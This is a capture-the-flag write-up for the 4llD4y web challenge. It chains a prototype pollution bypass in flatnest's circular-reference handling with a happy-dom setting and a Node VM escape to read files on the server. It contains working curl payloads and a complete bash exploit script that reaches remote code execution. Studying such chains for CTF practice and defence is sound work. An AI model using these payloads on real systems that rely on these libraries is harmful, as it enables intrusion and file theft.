4llD4y CTF Challenge Writeup
Challenge Overview
- Category: Web Exploitation
- Vulnerability: Prototype Pollution → RCE via happy-dom VM Escape
- Flag:
0xL4ugh{H4appy_D0m_4ll_th3_D4y_b240757b5672fc10}
Challenge Analysis
Application Structure
The challenge is a Node.js Express application with two endpoints:
// POST /config - Processes configuration using flatnest
app.post('/config', (req, res) => {
const incoming = req.body
nest(incoming) // Result is discarded!
res.json({ message: 'configuration applied' })
})
// POST /render - Renders HTML using happy-dom
app.post('/render', (req, res) => {
const { html } = req.body
const window = new Window({ console })
window.document.write(html)
res.send(window.document.documentElement.outerHTML)
})
Key Dependencies
- flatnest v1.0.1 - Converts flat key-value pairs to nested objects
- happy-dom v20.3.1 - Server-side DOM implementation with JavaScript evaluation capabilities
Flag Location
The flag is stored at /flag_<random-8-hex-bytes>.txt (e.g., /flag_eb6c3156a5673fb0.txt)
Vulnerability Analysis
Step 1: Identifying the Attack Vector
The goal is to execute JavaScript in happy-dom to read the flag file. By default, happy-dom has enableJavaScriptEvaluation: false, so <script> tags are not executed.
Looking at the Window constructor:
const window = new Window({ console }) // No settings parameter!
If we could pollute Object.prototype.settings, the Window would inherit our malicious settings.
Step 2: Analyzing flatnest's Protections
The nest() function in flatnest has protections against prototype pollution:
function insert(target, path, value) {
// ...
for (var i = 0; i < len; i += 2) {
var key = pathBits[i]
if (key === "__proto__") continue // Blocked!
if (key === "constructor" && typeof target[key] == "function") continue // Blocked!
// ...
}
}
Direct payloads like {"__proto__.polluted": "yes"} or {"constructor.prototype.polluted": "yes"} are blocked.
Step 3: Discovering the Bypass - Circular References
flatnest has a circular reference feature that uses a separate seek() function:
// In nest():
if (typeof obj[key] == "string" && circular.test(obj[key])) {
var ref = circular.exec(obj[key])[1]
obj[key] = seek(nested, ref) // seek() has NO protections!
}
// seek.js - NO __proto__ or constructor checks!
function seek(obj, path) {
var pathBits = path.split(nestedRe)
var layer = obj
for (var i = 0; i < len; i += 2) {
var key = pathBits[i]
layer = layer[key] // Direct property access!
}
return layer
}
The bypass: Use [Circular (constructor.prototype)] to get a reference to Object.prototype, then write properties into it!
Exploitation
Step 1: Prototype Pollution
Pollute Object.prototype.settings.enableJavaScriptEvaluation:
curl -s http://challenges3.ctf.sd:33663/config \
-H "Content-Type: application/json" \
-d '{
"ref": "[Circular (constructor.prototype)]",
"ref.settings.enableJavaScriptEvaluation": true
}'
How it works:
"ref": "[Circular (constructor.prototype)]"→seek(nested, "constructor.prototype")returnsObject.prototypenested.refis now set toObject.prototype"ref.settings.enableJavaScriptEvaluation": true→ Writes tonested.ref.settings.enableJavaScriptEvaluation- Since
nested.ref === Object.prototype, this pollutesObject.prototype.settings!
Step 2: Verify JavaScript Execution
curl -s http://challenges3.ctf.sd:33663/render \
-H "Content-Type: application/json" \
-d '{"html": "<script>document.body.innerHTML = \"JS_WORKS\";</script><body></body>"}'
Response: <html><head></head><body>JS_WORKS</body></html>
Step 3: VM Escape to RCE
happy-dom uses Node's VM context for JavaScript evaluation, which is escapable:
// Classic VM escape
const proc = this.constructor.constructor("return process")();
const fs = proc.getBuiltinModule("fs");
Step 4: Find and Read the Flag
List flag files:
curl -s http://challenges3.ctf.sd:33663/render \
-H "Content-Type: application/json" \
-d '{"html": "<script>const proc = this.constructor.constructor(\"return process\")(); const fs = proc.getBuiltinModule(\"fs\"); const files = fs.readdirSync(\"/\").filter(f => f.startsWith(\"flag\")); document.body.innerHTML = files.join(\",\");</script><body></body>"}'
Response: flag_eb6c3156a5673fb0.txt
Read the flag:
curl -s http://challenges3.ctf.sd:33663/render \
-H "Content-Type: application/json" \
-d '{"html": "<script>const proc = this.constructor.constructor(\"return process\")(); const fs = proc.getBuiltinModule(\"fs\"); const flag = fs.readFileSync(\"/flag_eb6c3156a5673fb0.txt\", \"utf8\"); document.body.innerHTML = flag;</script><body></body>"}'
Complete Exploit Script
#!/bin/bash
TARGET="http://challenges3.ctf.sd:33663"
# Step 1: Prototype pollution to enable JavaScript evaluation
curl -s "$TARGET/config" \
-H "Content-Type: application/json" \
-d '{"ref": "[Circular (constructor.prototype)]", "ref.settings.enableJavaScriptEvaluation": true}'
# Step 2: Find flag file and read it
curl -s "$TARGET/render" \
-H "Content-Type: application/json" \
-d '{"html": "<script>const proc = this.constructor.constructor(\"return process\")(); const fs = proc.getBuiltinModule(\"fs\"); const files = fs.readdirSync(\"/\").filter(f => f.startsWith(\"flag\")); const flag = fs.readFileSync(\"/\" + files[0], \"utf8\"); document.body.innerHTML = flag;</script><body></body>"}'
Key Takeaways
-
Incomplete Sanitization: flatnest blocked
__proto__andconstructorin the maininsert()function but forgot to protect theseek()function used for circular references. -
Prototype Pollution Chain: By storing a reference to
Object.prototypein a property, subsequent writes to that property's sub-paths pollute the prototype. -
Settings Inheritance: happy-dom's Window constructor reads settings from the options object, which inherits from
Object.prototypeif not explicitly set. -
VM Context Escape: Node.js VM contexts are not true sandboxes. The classic
this.constructor.constructor("return process")()escape provides full access to the Node.js runtime.



Comments
Join the discussion! Sign in with GitHub to leave a comment.